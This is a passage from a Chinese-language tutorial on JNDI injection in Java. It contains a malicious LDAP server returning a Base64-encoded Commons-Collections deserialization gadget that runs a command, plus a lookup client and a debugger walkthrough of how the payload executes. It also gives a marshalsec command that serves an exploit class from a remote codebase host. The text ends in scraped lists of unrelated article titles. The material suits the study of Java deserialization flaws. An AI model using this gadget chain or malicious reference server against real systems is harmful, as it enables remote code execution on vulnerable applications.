result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Exploit");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}// Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());// Payload2: 返回序列化Gadgettry {e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));} catch (ParseException exception) {exception.printStackTrace();}result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
Client
import javax.naming.InitialContext;
import javax.naming.NamingException;public class LDAP_Client {public static void main(String[] args) throws NamingException {//初始化环境InitialContext init = new InitialContext();init.lookup("ldap://127.0.0.1:1389/Exploit");}
}

Debug分析

调用栈

先给出静态变量JAVA_ATTRIBUTES的内容:

前面的函数调用链都是不同类lookup()函数之间的调用,com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中先是判断var4 (slot_4)中是否存在javaClassName,存在则会调用到com.sun.jndi.ldap.Obj类的decodeObject()函数进行解码对象的操作。

跟进去,先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,因为这次并没有设置这个属性所以返回null,这就是下面Variables框中的var1(slot_2)变量;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流,对应的是下面Variables框中的var2 (slot_1)变量;这里var1(slot_2)变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码

最后成功执行恶意对象

建议

实战中可以使用marshalsec方便的启动一个LDAP/RMI Ref Server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.8.8.8:8090/#Exploit 8088

Java 安全-JNDI注入学习相关推荐

  1. JNDI注入学习(看不懂直接喷,别忍着!)

    jndi简介 Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象.JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例 ...

  2. JNDI注入之略微学学

    前言 JNDI注入! 环境版本:JDK1.8.0-66 JNDI概念 JNDI 全称为 Java Naming and Directory Interface(Java 命名与目录接口) 是SUN公司 ...

  3. Java安全学习笔记--一次对JNDI注入失败的问题排查(手写POC以及rmi)

    目录 前言 恶意类代码: RMI注册中心以及服务端代码: 问题一: 问题二 调试 问题三 总结 前言 之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试, ...

  4. java asm jndi_GitHub - Q1ngShan/JNDI: JNDI 注入利用工具

    JNDI 注入利用工具 介绍 本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson.Jackson 等相关漏洞的验证. 本项目是基于 welk1n 的 J ...

  5. Java序列化与JNDI注入

    现阶段公司会进行季度的安全巡检,扫描出来的 Java 相关漏洞,无论是远程代码执行.还是 JNDI 注入,基本都和 Java 的序列化机制有关.本文简单梳理了一下序列化机制相关知识,解释为什么这么多漏 ...

  6. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  7. java asm jndi_JNDI-Injection-Exploit JNDI注入利用工具

    介绍 JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson.Jackson等相关 使用 可执行程序为jar包,在命令行中运行以下命令: $ java -jar JNDI-I ...

  8. 【每天学习一点新知识】JNDI注入

    什么是JNDI JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口.通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求 ...

  9. java怎么获取ajax_Java学习路线

    阶段一 (夯实基础)Java基础语法学习目标: 2.掌握Eclipse/IDEA集成开发工具的安装.配置和应用 3.熟悉Java基本语法.基本类型.运算符和表达式 4.掌握分支.循环逻辑语句.数组等知 ...

最新文章

  1. 虚幻争霸服务器维护,《虚幻争霸》将于4月停止运营 玩家可全额退款
  2. MyBatis学习总结(10)——批量操作
  3. ASP.NET2.0的multiview和wizard控件
  4. python清空字典保留变量方法_python学习day06--02字典增删差改以及字符串的一些方法...
  5. 【错误记录】Android 应用运行报错 ( java.lang.VerifyError: Verifier rejected class androidx. | 逆向中遇到的问题 )
  6. python 写txt 换行_python 批配换行Numpy数组的保存与读取方法
  7. dell加装固态硬盘_技术丨如何进行笔记本硬盘拆装?
  8. Ubuntu/Centos 等linux终端忽略大小写提示
  9. 逆波兰计算器android源码简书,汪都能理解的逆波兰计算器(C++实现)
  10. oracle excute call,oracle – EXECUTE识别存储过程,CALL不识别
  11. java中的静态块static{}及this,super,final的用法总结
  12. uchar与char
  13. 2015 年 4 月份 LeanCloud 更新汇总
  14. 前端面试之浏览器安全
  15. mysql的yearweek 和 weekofyear函数
  16. Android手机端编程实现TCPClient
  17. HTML网页上常见的3种单位是,HTML_CSS中常用的单位,一、长度单位 长度单位 - phpStudy...
  18. Coding and Paper Letter(七十)
  19. C语言 队列(循环队列和链队初始化进出队等基本操作)
  20. Unreal Engine 4(UE4)下载教程

热门文章

  1. 视频教程-C++QT5跨平台界面编程原理和实战大全-C/C++
  2. JavaScript(九)
  3. 使用JS判断访问设备是电脑还是手机
  4. 目前流行的计算机配置有哪些,2019最流行电脑配置
  5. Html5调用手机摄像头并实现人脸识别
  6. Java并发编程系列18:多线程之生产者和消费者模式_信号灯法(wait/notify通知机制)
  7. 基于51单片机的数码录音放音系统设计
  8. CISP——密码学的应用
  9. Android 登录3D翻转动画效果
  10. Latex--入门系列三